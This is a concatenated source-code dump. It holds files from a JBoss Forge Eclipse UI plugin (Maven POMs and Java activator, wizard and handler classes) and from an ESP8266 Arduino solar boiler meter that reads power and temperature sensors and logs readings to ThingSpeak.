</artifactItem>
<artifactItem>
<groupId>org.jboss.forge</groupId>
<artifactId>ui-api</artifactId>
<version>2.0.0-SNAPSHOT</version>
</artifactItem>
<artifactItem>
<groupId>org.jboss.forge</groupId>
<artifactId>forge-se</artifactId>
<version>2.0.0-SNAPSHOT</version>
</artifactItem>
</artifactItems>
<skip>false</skip>
<outputDirectory>${basedir}/lib</outputDirectory>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<artifactId>maven-clean-plugin</artifactId>
<version>2.5</version>
<configuration>
<filesets>
<fileset>
<directory>${basedir}/lib</directory>
<includes>
<include>*</include>
</includes>
<excludes>
</excludes>
<followSymlinks>false</followSymlinks>
</fileset>
</filesets>
</configuration>
</plugin>
</plugins>
<pluginManagement>
<plugins>
<!--This plugin's configuration is used to store Eclipse m2e settings
only. It has no influence on the Maven build itself. -->
<plugin>
<groupId>org.eclipse.m2e</groupId>
<artifactId>lifecycle-mapping</artifactId>
<version>1.0.0</version>
<configuration>
<lifecycleMappingMetadata>
<pluginExecutions>
<pluginExecution>
<pluginExecutionFilter>
<groupId>
org.apache.maven.plugins
</groupId>
<artifactId>
maven-dependency-plugin
</artifactId>
<versionRange>
[2.4,)
</versionRange>
<goals>
<goal>copy</goal>
</goals>
</pluginExecutionFilter>
<action>
<ignore></ignore>
</action>
</pluginExecution>
</pluginExecutions>
</lifecycleMappingMetadata>
</configuration>
</plugin>
</plugins>
</pluginManagement>
</build>
</project>
<file_sep>/org.jboss.forge.eclipse.plugin/build.properties
source.. = src/
bin.includes = plugin.xml,\
META-INF/,\
.,\
icons/,\
lib/forge-addon-container-api-2.0.0-SNAPSHOT.jar,\
lib/forge-se-2.0.0-SNAPSHOT.jar,\
lib/ui-api-2.0.0-SNAPSHOT.jar,\
lib/javassist-3.15.0-GA.jar
<file_sep>/pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.jboss.tools</groupId>
<artifactId>parent</artifactId>
<version>4.1.0.Alpha1-SNAPSHOT</version>
</parent>
<groupId>org.jboss.forge</groupId>
<artifactId>forge-eclipse-ui-parent</artifactId>
<version>2.0.0-SNAPSHOT</version>
<packaging>pom</packaging>
<name>Forge Eclipse UI - Parent</name>
<description>Forge Eclipse UI</description>
<licenses>
<license>
<name>Eclipse Public License version 1.0</name>
<url>http://www.eclipse.org/legal/epl-v10.html</url>
</license>
</licenses>
<developers>
<developer>
<id>lincoln</id>
<name><NAME>, III</name>
<email><EMAIL></email>
</developer>
<developer>
<id>gastaldi</id>
<name><NAME></name>
<email><EMAIL></email>
</developer>
<developer>
<id>koen</id>
<name><NAME></name>
<email><EMAIL></email>
</developer>
</developers>
<prerequisites>
<maven>3.0</maven>
</prerequisites>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<!-- Build Info -->
<forge.scm.connection>scm:git:git://github.com/forge/forge2-eclipse-ui.git</forge.scm.connection>
<forge.developer.connection>scm:git:<EMAIL>:forge/forge2-eclipse-ui.git</forge.developer.connection>
<forge.scm.url>http://github.com/forge/forge2-eclipse-ui</forge.scm.url>
<forge.release.version>${project.version}</forge.release.version>
</properties>
<profiles>
<profile>
<id>all</id>
<activation>
<property>
<name>all</name>
<value>!false</value>
</property>
</activation>
<modules>
<module>org.jboss.forge.eclipse.plugin</module>
</modules>
</profile>
<profile>
<id>javadoc</id>
<activation>
<activeByDefault>false</activeByDefault>
</activation>
<modules>
<module>org.jboss.forge.eclipse.plugin</module>
</modules>
</profile>
</profiles>
<scm>
<connection>${forge.scm.connection}</connection>
<developerConnection>${forge.developer.connection}</developerConnection>
<url>${forge.scm.url}</url>
</scm>
</project>
<file_sep>/org.jboss.forge.eclipse.plugin/src/org/jboss/forge/ui/eclipse/integration/ForgeService.java
/*
* Copyright 2012 Red Hat, Inc. and/or its affiliates.
*
* Licensed under the Eclipse Public License version 1.0, available at
* http://www.eclipse.org/legal/epl-v10.html
*/
package org.jboss.forge.ui.eclipse.integration;
import org.jboss.forge.container.AddonRegistry;
import org.jboss.forge.container.Forge;
/**
* This is a singleton for the {@link Forge} class.
*
* @author <a href="mailto:<EMAIL>"><NAME></a>
*
*/
public enum ForgeService
{
INSTANCE;
private transient Forge forge;
private ForgeService()
{
}
public void setForge(Forge forge)
{
this.forge = forge;
}
public void start(ClassLoader loader)
{
forge.startAsync(loader);
}
public AddonRegistry getAddonRegistry()
{
return forge.getAddonRegistry();
}
public void stop()
{
forge.stop();
}
}
<file_sep>/org.jboss.forge.eclipse.plugin/src/org/jboss/forge/ui/impl/UIContextImpl.java
/*
* Copyright 2013 Red Hat, Inc. and/or its affiliates.
*
* Licensed under the Eclipse Public License version 1.0, available at
* http://www.eclipse.org/legal/epl-v10.html
*/
package org.jboss.forge.ui.impl;
import java.util.ArrayList;
import java.util.List;
import org.jboss.forge.ui.UIBuilder;
import org.jboss.forge.ui.UIContext;
import org.jboss.forge.ui.UIInput;
import org.jboss.forge.ui.UIValidationContext;
import org.jboss.forge.ui.wizard.UIWizardContext;
public class UIContextImpl implements UIWizardContext, UIValidationContext, UIContext, UIBuilder
{
private List<UIInput<?>> inputs = new ArrayList<UIInput<?>>();
private List<String> errors = new ArrayList<String>();
public UIContextImpl()
{
}
@Override
public UIBuilder getUIBuilder()
{
return this;
}
@Override
public UIBuilder add(UIInput<?> input)
{
inputs.add(input);
return this;
}
public List<UIInput<?>> getInputs()
{
return inputs;
}
@Override
public void addValidationError(UIInput<?> input, String errorMessage)
{
errors.add(errorMessage);
}
}
<file_sep>/org.jboss.forge.eclipse.plugin/src/org/jboss/forge/ui/eclipse/Activator.java
package org.jboss.forge.ui.eclipse;
import java.io.Closeable;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Collection;
import java.util.HashSet;
import java.util.concurrent.Callable;
import org.eclipse.jface.resource.ImageDescriptor;
import org.eclipse.ui.plugin.AbstractUIPlugin;
import org.jboss.forge.container.Forge;
import org.jboss.forge.container.util.ClassLoaders;
import org.jboss.forge.se.init.ClassLoaderAdapterCallback;
import org.jboss.forge.ui.eclipse.integration.ForgeService;
import org.osgi.framework.BundleContext;
import org.osgi.framework.wiring.BundleWiring;
import bootpath.BootpathMarker;
/**
* The activator class controls the plug-in life cycle
*/
public class Activator extends AbstractUIPlugin
{
// The plug-in ID
public static final String PLUGIN_ID = "org.jboss.forge.ui.eclipse"; //$NON-NLS-1$
// The shared instance
private static Activator plugin;
private URLClassLoader loader;
/**
* The constructor
*/
public Activator()
{
}
/*
* (non-Javadoc)
*
* @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext)
*/
@Override
public void start(final BundleContext context) throws Exception
{
super.start(context);
Forge forge = getForge(context);
ForgeService.INSTANCE.setForge(forge);
ForgeService.INSTANCE.start(loader);
plugin = this;
}
private Forge getForge(final BundleContext context)
{
return ClassLoaders.executeIn(loader, new Callable<Forge>()
{
@Override
public Forge call() throws Exception
{
BundleWiring wiring = context.getBundle().adapt(BundleWiring.class);
Collection<String> entries = wiring.listResources("bootpath", "*.jar", BundleWiring.LISTRESOURCES_LOCAL);
Collection<URL> resources = new HashSet<URL>();
File jarDir = File.createTempFile("forge", "jars");
if (entries != null)
for (String resource : entries)
{
URL jar = BootpathMarker.class.getResource("/" + resource);
if (jar != null)
{
resources.add(copy(jarDir, resource, jar.openStream()));
}
}
loader = new URLClassLoader(resources.toArray(new URL[resources.size()]), null);
Class<?> bootstrapType = loader.loadClass("org.jboss.forge.container.ForgeImpl");
Forge forge = (Forge)
ClassLoaderAdapterCallback.enhance(Forge.class.getClassLoader(), loader,
bootstrapType.newInstance(),
Forge.class);
return forge;
}
});
}
private URL copy(File directory, String name, InputStream input) throws IOException
{
File outputFile = new File(directory, name);
FileOutputStream output = null;
try
{
directory.delete();
outputFile.getParentFile().mkdirs();
outputFile.createNewFile();
output = new FileOutputStream(outputFile);
final byte[] buffer = new byte[4096];
int read = 0;
while ((read = input.read(buffer)) != -1)
{
output.write(buffer, 0, read);
}
output.flush();
}
catch (Exception e)
{
throw new RuntimeException("Could not write out jar file " + name, e);
}
finally
{
close(input);
close(output);
}
return outputFile.toURI().toURL();
}
private void close(Closeable closeable)
{
try
{
if (closeable != null)
{
closeable.close();
}
}
catch (Exception e)
{
throw new RuntimeException("Could not close stream", e);
}
}
/*
* (non-Javadoc)
*
* @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext)
*/
@Override
public void stop(BundleContext context) throws Exception
{
plugin = null;
super.stop(context);
ForgeService.INSTANCE.stop();
}
/**
* Returns the shared instance
*
* @return the shared instance
*/
public static Activator getDefault()
{
return plugin;
}
/**
* Returns an image descriptor for the image file at the given plug-in relative path
*
* @param path the path
* @return the image descriptor
*/
public static ImageDescriptor getImageDescriptor(String path)
{
return imageDescriptorFromPlugin(PLUGIN_ID, path);
}
}
<file_sep>/org.jboss.forge.eclipse.plugin/src/org/jboss/forge/eclipse/plugin/handlers/ForgeCommandHandler.java
package org.jboss.forge.eclipse.plugin.handlers;
import java.util.Set;
import org.eclipse.core.commands.AbstractHandler;
import org.eclipse.core.commands.ExecutionEvent;
import org.eclipse.core.commands.ExecutionException;
import org.eclipse.jface.dialogs.MessageDialog;
import org.eclipse.ui.IWorkbenchWindow;
import org.eclipse.ui.handlers.HandlerUtil;
import org.jboss.forge.container.Addon;
import org.jboss.forge.ui.eclipse.integration.ForgeService;
/**
* Our sample handler extends AbstractHandler, an IHandler base class.
*
* @see org.eclipse.core.commands.IHandler
* @see org.eclipse.core.commands.AbstractHandler
*/
public class ForgeCommandHandler extends AbstractHandler
{
/**
* The constructor.
*/
public ForgeCommandHandler()
{
}
/**
* the command has been executed, so extract extract the needed information from the application context.
*/
public Object execute(ExecutionEvent event) throws ExecutionException
{
IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event);
String message = "";
Set<Addon> addons = ForgeService.INSTANCE.getAddonRegistry().getRegisteredAddons();
for (Addon addon : addons)
{
message += addon + "\n";
}
MessageDialog.openInformation(window.getShell(), "Uiview", message);
return null;
}
}
<file_sep>/org.jboss.forge.eclipse.plugin/src/org/jboss/forge/ui/eclipse/wizard/ForgeWizard.java
/*
* Copyright 2012 Red Hat, Inc. and/or its affiliates.
*
* Licensed under the Eclipse Public License version 1.0, available at
* http://www.eclipse.org/legal/epl-v10.html
*/
package org.jboss.forge.ui.eclipse.wizard;
import java.util.Set;
import org.eclipse.jface.viewers.IStructuredSelection;
import org.eclipse.jface.wizard.Wizard;
import org.eclipse.ui.INewWizard;
import org.eclipse.ui.IWorkbench;
import org.jboss.forge.container.AddonRegistry;
import org.jboss.forge.container.services.RemoteInstance;
import org.jboss.forge.ui.UICommand;
import org.jboss.forge.ui.eclipse.integration.ForgeService;
/**
* Forge Wizard
*
* @author <a href="mailto:<EMAIL>"><NAME></a>
*
*/
public class ForgeWizard extends Wizard implements INewWizard
{
private ForgeWizardPage currentPage;
public ForgeWizard()
{
setNeedsProgressMonitor(true);
}
@Override
public void init(IWorkbench workbench, IStructuredSelection selection)
{
AddonRegistry addonRegistry = ForgeService.INSTANCE.getAddonRegistry();
Set<RemoteInstance<UICommand>> remoteInstances = addonRegistry.getRemoteInstances(UICommand.class);
System.out.println("Remote Instances: " + remoteInstances);
}
@Override
public boolean performFinish()
{
return false;
}
}
| 839b24445520ffaba8ba413993d5212b33d1ed30 | [
"Java",
"Maven POM",
"INI"
] | 8 | Maven POM | koentsje/forge2-eclipse-ui | 037a73e48247c2d8ece828ce55c04e3b7e569ce7 | 1e61c1dfa75963270d718f7af39a37c8765fda23 |
refs/heads/master | <file_sep>// The author disclaims copyright to this source code.
#ifndef THINGSPEAKLOG_H
#define THINGSPEAKLOG_H
#include <Arduino.h>
#include "Log.h"
class ThingSpeakLog : public Log {
public:
ThingSpeakLog(String field, String writeKey);
virtual ~ThingSpeakLog();
void setup();
void log(String value);
private:
const char* thingSpeakHost = "api.thingspeak.com";
const int thingSpeakPort = 80;
String field;
String writeKey;
};
#endif
<file_sep>// The author disclaims copyright to this source code.
#include "ThingSpeakLog.h"
#include <WiFiClient.h>
#include "Debug.h"
ThingSpeakLog::ThingSpeakLog(String field, String writeKey) : Log() {
this->field = field;
this->writeKey = writeKey;
}
ThingSpeakLog::~ThingSpeakLog() {
}
void ThingSpeakLog::setup() {
Debug::getInstance()->debug("ThingSpeakLog::setup");
}
/**
* Send update to ThingSpeak channel field1 (using a HTTP GET request).
* GET https://api.thingspeak.com/update?api_key=WRITE_KEY&field1=VALUE
*/
void ThingSpeakLog::log(String value) {
Debug::getInstance()->info("ThingSpeakLog::log " + field + "=" + value);
WiFiClient client;
if (!client.connect(thingSpeakHost, thingSpeakPort)) {
Debug::getInstance()->error("ThingSpeakLog::log connect failed");
return;
}
// create the request
String request = String("GET /update?api_key=") + writeKey + "&" + field + "=" + value + " HTTP/1.1\r\n" + "Host: " + thingSpeakHost + "\r\n"
+ "Connection: close\r\n\r\n";
Debug::getInstance()->debug("ThingSpeakLog::log request " + request);
// send the request
client.print(request);
unsigned long now = millis();
unsigned long timeout = now + 5000;
while (client.available() == 0) {
if (millis() > timeout) {
Debug::getInstance()->error("ThingSpeakLog::log request timeout");
client.stop();
return;
}
}
// read response
bool httpResult = false;
while (client.available()) {
String line = client.readStringUntil('\r');
if (!httpResult) {
httpResult = true;
Debug::getInstance()->info("ThingSpeakLog::log response " + line);
} else {
//Debug::getInstance()->debug("ThingSpeakLog::log response " + line);
}
}
client.stop();
Debug::getInstance()->debug("ThingSpeakLog::log end");
}
<file_sep>// The author disclaims copyright to this source code.
#ifndef TEMPERATURECOLLECTOR_H
#define TEMPERATURECOLLECTOR_H
#include "Component.h"
#include "Clock.h"
#include "Log.h"
#include "Thermometer.h"
#include "Wattmeter.h"
class TemperatureCollector: public Component, public Input, public Output {
public:
enum State {
WAITING, MEASURING, LOGGING
};
TemperatureCollector(Clock *clock, Thermometer* meter, Log* log, unsigned long measurementIntervalSeconds);
virtual ~TemperatureCollector();
void setup();
void read();
void write();
private:
Clock* clock;
Thermometer* meter;
Log* log;
State state;
unsigned long measurementIntervalMillis;
unsigned long nextMeasurementTimestamp;
};
#endif
<file_sep>// The author disclaims copyright to this source code.
#ifndef DEBUG_H
#define DEBUG_H
#include <Arduino.h>
#include "Clock.h"
class Debug {
public:
static Debug* createInstance(Clock* clock);
static Debug* getInstance();
void setup();
void debug(String info);
void info(String info);
void error(String error);
private:
static Debug* instance;
static const String zeroTemplate;
Clock* clock;
unsigned long previousTimestamp;
Debug(Clock* clock);
virtual ~Debug();
String timestamps();
String fixedLength(unsigned long number);
boolean debugEnabled = 1;
boolean infoEnabled = 1;
boolean errorEnabled = 1;
};
#endif
<file_sep>// The author disclaims copyright to this source code.
#ifndef SOLARBOILERMETER_H
#define SOLARBOILERMETER_H
#include <Arduino.h>
#include "Clock.h"
#include "Debug.h"
#include "Log.h"
#include "PowerCollector.h"
#include "TemperatureCollector.h"
#include "Thermometer.h"
#include "Wattmeter.h"
#include "WiFiComponent.h"
// The following secrets are defined in an file external to the repository.
// The secret file contains the following lines:
//
// // ==============================
// // DO NOT PLACE IN REPOSITORY
// // ==============================
// // WiFi access point credentials
// // const char* wifiSSID = "??????";
// // const char* wifiPassword = "??????";
// // ------------------------------
// // ThingSpeak channel credentials
// const char* thingSpeakWriteAPIKey_Temperature = "??????";
// const char* thingSpeakWriteAPIKey_Power = "??????";
// // ==============================
// WiFi access point credentials
extern const char* wifiSSID;
extern const char* wifiPassword;
// ThingSpeak channel credentials
extern const char* thingSpeakWriteAPIKey_Temperature;
extern const char* thingSpeakWriteAPIKey_Power;
class SolarBoilerMeter {
public:
SolarBoilerMeter();
virtual ~SolarBoilerMeter();
void setup();
void loop();
private:
// I2C wires
const static uint8_t SDA = D3;
const static uint8_t SCL = D4;
Clock* clock;
Debug* debug;
WiFiComponent* wifi;
Wattmeter* wattmeter;
Thermometer* thermometer;
Log* powersupplyAmpLog;
Log* powersupplyVoltLog;
Log* powersupplyWattLog;
Log* temperatureDegCLog;
PowerCollector* powerCollector;
TemperatureCollector* temperatureCollector;
};
#endif
<file_sep>// The author disclaims copyright to this source code.
#include "SolarBoilerMeter.h"
#include <Wire.h>
#include "Clock.h"
#include "Debug.h"
#include "Log.h"
#include "DebugLog.h"
#include "ThingSpeakLog.h"
#include "PowerCollector.h"
#include "TemperatureCollector.h"
#include "Thermometer.h"
#include "Wattmeter.h"
#include "WiFiComponent.h"
/**
* Construct the application by constructing all its components.
*/
SolarBoilerMeter::SolarBoilerMeter() {
clock = new Clock();
debug = Debug::createInstance(clock);
wifi = new WiFiComponent(wifiSSID, wifiPassword);
wattmeter = new Wattmeter(clock);
thermometer = new Thermometer(clock);
powersupplyAmpLog = new DebugLog("powersupplyAmp");
powersupplyVoltLog = new DebugLog("powersupplyVolt");
powersupplyWattLog = new ThingSpeakLog("field1", thingSpeakWriteAPIKey_Power);
temperatureDegCLog = new ThingSpeakLog("field1", thingSpeakWriteAPIKey_Temperature);
powerCollector = new PowerCollector(clock, wattmeter, powersupplyAmpLog,
powersupplyVoltLog, powersupplyWattLog, 15);
temperatureCollector = new TemperatureCollector(clock, thermometer,
temperatureDegCLog, 60);
}
SolarBoilerMeter::~SolarBoilerMeter() {
}
/**
* Called once to setup the application.
*
* Will initialize (setup) all external libraries and components that make up the application.
*/
void SolarBoilerMeter::setup() {
Debug::getInstance()->debug("SolarBoilerMeter::setup");
// I2C wire protocol for power meter component
Wire.begin(SDA, SCL);
// external library
//..
// all components
debug->setup();
clock->setup();
wifi->setup();
wattmeter->setup();
thermometer->setup();
powersupplyAmpLog->setup();
powersupplyVoltLog->setup();
temperatureDegCLog->setup();
powerCollector->setup();
temperatureCollector->setup();
}
/**
* Called continuously to keep the application going.
*
* The application must execute and return quickly.
* If not, the ESP Arduino implementation can not perform its housekeeping tasks and the built-in watchdog timer will reset the chip/application.
*
* The components that make up the application are triggered to perform their respective Input, Process, and Output operations (in that order).
*/
void SolarBoilerMeter::loop() {
// read all inputs
clock->read();
wattmeter->read();
thermometer->read();
powerCollector->read();
temperatureCollector->read();
// perform processing
wifi->process();
// write all outputs
wattmeter->write();
thermometer->write();
powerCollector->write();
temperatureCollector->write();
}
/**
* The singleton instance of the SolarBoilerMeter application.
*/
SolarBoilerMeter instance;
/**
* Arduino setup entry point.
* Forwards the call into the application instance.
*/
void setup() {
instance.setup();
}
/**
* Arduino loop entry point.
* Forwards the call into the application instance.
*/
void loop() {
instance.loop();
}
<file_sep>// The author disclaims copyright to this source code.
#include "Wattmeter.h"
#include <Wire.h>
#include "Debug.h"
Wattmeter::Wattmeter(Clock *clk) {
// INA219 module configuration
// default: 100 mOhm
shuntResistanceOhm = 100e-3;
// INA219 chip configuration
configuration = //
BUS_RANGE_32V |
SHUNT_RANGE_320MV |
BUS_RESOLUTION_12BIT |
SHUNT_RESOLUTION_12BITx128_69MS |
MODE_BOTH_TRIGGERED;
// fixed value 4mV per bit
busResolutionVolt = 4e-3;
// calculated from configuration
shuntResolutionVolt = 0;
// measured value
shuntVoltage = 0;
// measured value
busVoltage = 0;
// measured value
ready = false;
// measured value
overflow = false;
// calculated value
shuntCurrent = 0;
// calculated value
busPower = 0;
clock = clk;
state = IDLE;
readyTimestamp = 0;
}
Wattmeter::~Wattmeter() {
}
void Wattmeter::setup() {
Debug::getInstance()->debug("Wattmeter::setup");
shuntResolutionVolt = getShuntRangeVolt() / getShuntRangeCount();
writeRegister(REGISTER_CALIBRATION, 0);
startMeasurement();
}
void Wattmeter::read() {
if (state == WAIT_FOR_RESULT) {
unsigned long now = clock->getTimestamp();
if (now > readyTimestamp) {
readResult();
state = IDLE;
}
} else if (state == IDLE && isModeContinuous()) {
readResult();
}
}
void Wattmeter::readResult() {
int16_t shuntVoltageRaw = (int16_t)readRegister(REGISTER_SHUNT_VOLTAGE);
shuntVoltage = shuntVoltageRaw * shuntResolutionVolt;
int16_t busVoltageRaw = (int16_t)readRegister(REGISTER_BUS_VOLTAGE);
overflow = busVoltageRaw & 0x0001;
ready = busVoltageRaw & 0x0002;
busVoltage = (busVoltageRaw >> 3) * busResolutionVolt;
shuntCurrent = shuntVoltage / shuntResistanceOhm;
busPower = busVoltage * shuntCurrent;
if (overflow || !ready) {
Debug::getInstance()->error(
"Wattmeter::read overflow:" + String(!!overflow) + ", ready:"
+ String(!!ready));
} else {
Debug::getInstance()->debug(
"Wattmeter::readResult shuntVoltage:"
+ String(shuntVoltage * 1000.0, 1) + "mV");
Debug::getInstance()->debug(
"Wattmeter::readResult busVoltage:" + String(busVoltage, 2)
+ "V");
Debug::getInstance()->debug(
"Wattmeter::readResult shuntCurrent:"
+ String(shuntCurrent * 1000.0, 0) + "mA");
Debug::getInstance()->debug(
"Wattmeter::readResult busPower:" + String(busPower, 2)
+ "W");
}
}
void Wattmeter::startMeasurement() {
if (state == IDLE) {
writeRegister(REGISTER_CONFIG, configuration);
unsigned long now = clock->getTimestamp();
readyTimestamp = now + getConversionTimeMillis();
state = WAIT_FOR_RESULT;
} else {
Debug::getInstance()->error("Wattmeter::startMeasurement not idle");
}
}
double Wattmeter::getShuntVoltage() {
return shuntVoltage;
}
double Wattmeter::getBusVoltage() {
return busVoltage;
}
double Wattmeter::getBusPower() {
return busPower;
}
double Wattmeter::getShuntCurrent() {
return shuntCurrent;
}
boolean Wattmeter::isReady() {
return state == IDLE;
}
void Wattmeter::write() {
if (state == START_REQUESTED) {
writeRegister(REGISTER_CONFIG, configuration);
if (isModeContinuous()) {
} else {
unsigned long now = clock->getTimestamp();
readyTimestamp = now + 1;
state = WAIT_FOR_RESULT;
}
}
}
void Wattmeter::writeRegister(uint8_t reg, uint16_t value) {
Debug::getInstance()->debug(
"Wattmeter::writeRegister " + String(reg) + ":" + String(value, 2)
+ "b (" + String(value) + "d)");
Wire.beginTransmission(I2C_INA219);
Wire.write(reg);
Wire.write((value >> 8) & 0xFF);
Wire.write(value & 0xFF);
Wire.endTransmission();
}
uint16_t Wattmeter::readRegister(uint8_t reg) {
Wire.beginTransmission(I2C_INA219);
Wire.write(reg);
Wire.endTransmission();
delay(getConversionTimeMillis());
Wire.requestFrom(I2C_INA219, (uint8_t)2);
uint16_t msb = Wire.read();
uint16_t lsb = Wire.read();
uint16_t value = msb << 8 | lsb;
Debug::getInstance()->debug(
"Wattmeter::readRegister " + String(reg) + "=" + String(value, 2)
+ "b (" + String(value) + "d)");
return value;
}
double Wattmeter::getShuntRangeVolt() {
switch (configuration & SHUNT_RANGE_MASK) {
case SHUNT_RANGE_40MV:
return 40e-3;
case SHUNT_RANGE_80MV:
return 80e-3;
case SHUNT_RANGE_160MV:
return 160e-3;
case SHUNT_RANGE_320MV:
default:
return 320e-3;
}
}
double Wattmeter::getBusRangeVolt() {
switch (configuration & BUS_RANGE_MASK) {
case BUS_RANGE_16V:
return 16.0;
case BUS_RANGE_32V:
default:
return 32.0;
}
}
int Wattmeter::getBusRangeCount() {
switch (configuration & BUS_RESOLUTION_MASK) {
case BUS_RESOLUTION_9BIT:
return 512;
case BUS_RESOLUTION_10BIT:
return 1024;
case BUS_RESOLUTION_11BIT:
return 2048;
case BUS_RESOLUTION_12BIT:
default:
return 4096;
}
}
int Wattmeter::getShuntRangeCount() {
switch (configuration & SHUNT_RESOLUTION_MASK) {
case SHUNT_RESOLUTION_9BIT_84US:
return 512;
case SHUNT_RESOLUTION_10BIT_148US:
return 1024;
case SHUNT_RESOLUTION_11BIT_276US:
return 2048;
case SHUNT_RESOLUTION_12BIT_532US:
default:
return 4096;
}
}
int Wattmeter::getConversionTimeMillis() {
switch (configuration & SHUNT_RESOLUTION_MASK) {
case SHUNT_RESOLUTION_9BIT_84US:
return 1;
case SHUNT_RESOLUTION_10BIT_148US:
return 1;
case SHUNT_RESOLUTION_11BIT_276US:
return 1;
case SHUNT_RESOLUTION_12BITx2_1060US:
return 2;
case SHUNT_RESOLUTION_12BITx4_2130US:
return 3;
case SHUNT_RESOLUTION_12BITx8_4260US:
return 5;
case SHUNT_RESOLUTION_12BITx16_8510US:
return 9;
case SHUNT_RESOLUTION_12BITx32_17MS:
return 18;
case SHUNT_RESOLUTION_12BITx64_34MS:
return 35;
case SHUNT_RESOLUTION_12BITx128_69MS:
return 70;
case SHUNT_RESOLUTION_12BIT_532US:
default:
return 1;
}
}
boolean Wattmeter::isModeContinuous() {
switch (configuration & MODE_MASK) {
case MODE_BOTH_CONTINUOUS:
case MODE_BUS_CONTINUOUS:
case MODE_SHUNT_CONTINUOUS:
return true;
default:
return false;
}
}
<file_sep>// The author disclaims copyright to this source code.
#include "Thermometer.h"
#include <HardwareSerial.h>
#include <OneWire.h>
#include <pins_arduino.h>
#include "Debug.h"
Thermometer::Thermometer(Clock *clk) {
clock = clk;
state = DISCONNECTED;
readyTimestamp = 0;
temperatureC = 0.0;
ds = new OneWire(D2);
}
Thermometer::~Thermometer() {
}
void Thermometer::setup() {
Debug::getInstance()->debug("Thermometer::setup");
}
void Thermometer::read() {
if (state == WAIT_FOR_RESULT) {
unsigned long now = clock->getTimestamp();
if (now > readyTimestamp) {
Debug::getInstance()->debug("Thermometer::read conversion ready");
uint8_t present = ds->reset();
if (present == 0) {
Debug::getInstance()->error(
"Thermometer::read connection lost (no device present)");
state = DISCONNECTED;
return;
}
ds->select(addr);
ds->write(0xBE);
// read scratch pad (9 bytes)
for (int i = 0; i < 9; i++) {
data[i] = ds->read();
}
// 1st 8 are data, last one is CRC
if (OneWire::crc8(data, 8) != data[8]) {
Debug::getInstance()->error(
"Thermometer::read connection lost (invalid data CRC)");
state = DISCONNECTED;
return;
}
// fixed device type is 0x28=DS18B20
if (addr[0] != 0x28) {
Debug::getInstance()->error(
"Thermometer::read connection lost (not a DS18B20)");
state = DISCONNECTED;
return;
}
int16_t raw = (data[1] << 8) | data[0];
temperatureC = (float) raw / 16.0;
Debug::getInstance()->info(
"Thermometer::read temperature " + String(temperatureC, 2));
state = IDLE;
}
} else if (state == DISCONNECTED) {
// try connect
delay(2500);
Debug::getInstance()->debug("Thermometer::read try connect");
ds->reset();
if (!ds->search(addr)) {
// failed, prepare for next try
Debug::getInstance()->debug("Thermometer::read still disconnected (no device found)");
ds->reset_search();
return;
} else {
if (OneWire::crc8(addr, 7) != addr[7]) {
Debug::getInstance()->debug(
"Thermometer::read still disconnected (invalid device CRC)");
return;
}
Debug::getInstance()->info("Thermometer::read connected");
state = IDLE;
}
}
}
void Thermometer::startMeasurement() {
if (state == IDLE) {
Debug::getInstance()->debug(
"Thermometer::startMeasurement start requested");
state = START_REQUESTED;
} else {
Debug::getInstance()->error(
"Thermometer::startMeasurement failed not idle");
}
}
double Thermometer::getTemperatureC() {
return temperatureC;
}
boolean Thermometer::isReady() {
return state == IDLE;
}
void Thermometer::write() {
if (state == START_REQUESTED) {
Debug::getInstance()->debug("Thermometer::write start requested");
uint8_t present = ds->reset();
if (present == 0) {
Debug::getInstance()->error(
"Thermometer::write connection lost (no device present)");
state = DISCONNECTED;
return;
}
// start conversion
ds->select(addr);
ds->write(0x44, 1);
unsigned long now = clock->getTimestamp();
readyTimestamp = now + CONVERSION_TIME_MILLIS;
state = WAIT_FOR_RESULT;
}
}
<file_sep>// The author disclaims copyright to this source code.
#ifndef THERMOMETER_H
#define THERMOMETER_H
#include <Arduino.h>
#include <OneWire.h>
#include "Component.h"
#include "Clock.h"
class Thermometer: public Component, public Input, public Output {
public:
enum State {
DISCONNECTED, IDLE, START_REQUESTED, WAIT_FOR_RESULT
};
Thermometer(Clock *clock);
virtual ~Thermometer();
void setup();
void read();
void write();
void startMeasurement();
boolean isReady();
double getTemperatureC();
private:
static const int MEASUREMENT_PERIOD_MILLIS = 60000;
static const int CONVERSION_TIME_MILLIS = 1000;
OneWire* ds;
byte addr[8];
byte data[12];
Clock* clock;
State state;
unsigned long readyTimestamp;
double temperatureC;
};
#endif
<file_sep>// The author disclaims copyright to this source code.
#include "Debug.h"
Debug* Debug::instance = NULL;
Debug* Debug::createInstance(Clock* clk) {
if (!instance) {
instance = new Debug(clk);
}
return instance;
}
Debug* Debug::getInstance() {
return instance;
}
Debug::Debug(Clock* clk) {
clock = clk;
previousTimestamp = 0;
}
Debug::~Debug() {
}
void Debug::setup() {
Serial.begin(115200);
Debug::getInstance()->debug("Debug::setup");
}
void Debug::debug(String debug) {
if (debugEnabled) {
Serial.println(timestamps() + ";DEBUG;" + debug);
}
}
void Debug::info(String info) {
if (infoEnabled) {
Serial.println(timestamps() + ";INFO;" + info);
}
}
void Debug::error(String error) {
if (errorEnabled) {
Serial.println(timestamps() + ";ERROR;" + error);
}
}
const String Debug::zeroTemplate = "00000000000000000000";
String Debug::timestamps() {
unsigned long now = clock->getTimestamp();
unsigned long relative = now - previousTimestamp;
previousTimestamp = now;
return fixedLength(now) + ";" + fixedLength(relative);
}
String Debug::fixedLength(unsigned long number) {
String text = String(number);
String maxed = text.substring(0, 10);
int padLength = 10 - maxed.length();
String padding = zeroTemplate.substring(0, padLength);
String result = padding + maxed;
return result;
}
<file_sep>// The author disclaims copyright to this source code.
#ifndef LOG_H
#define LOG_H
#include <Arduino.h>
#include "Component.h"
class Log : public Component {
public:
virtual ~Log() {};
virtual void log(String value)= 0;
};
#endif
<file_sep>// The author disclaims copyright to this source code.
#include "WiFiComponent.h"
#include <ESP8266WiFiGeneric.h>
#include <ESP8266WiFiType.h>
#include <IPAddress.h>
#include <WiFiClient.h>
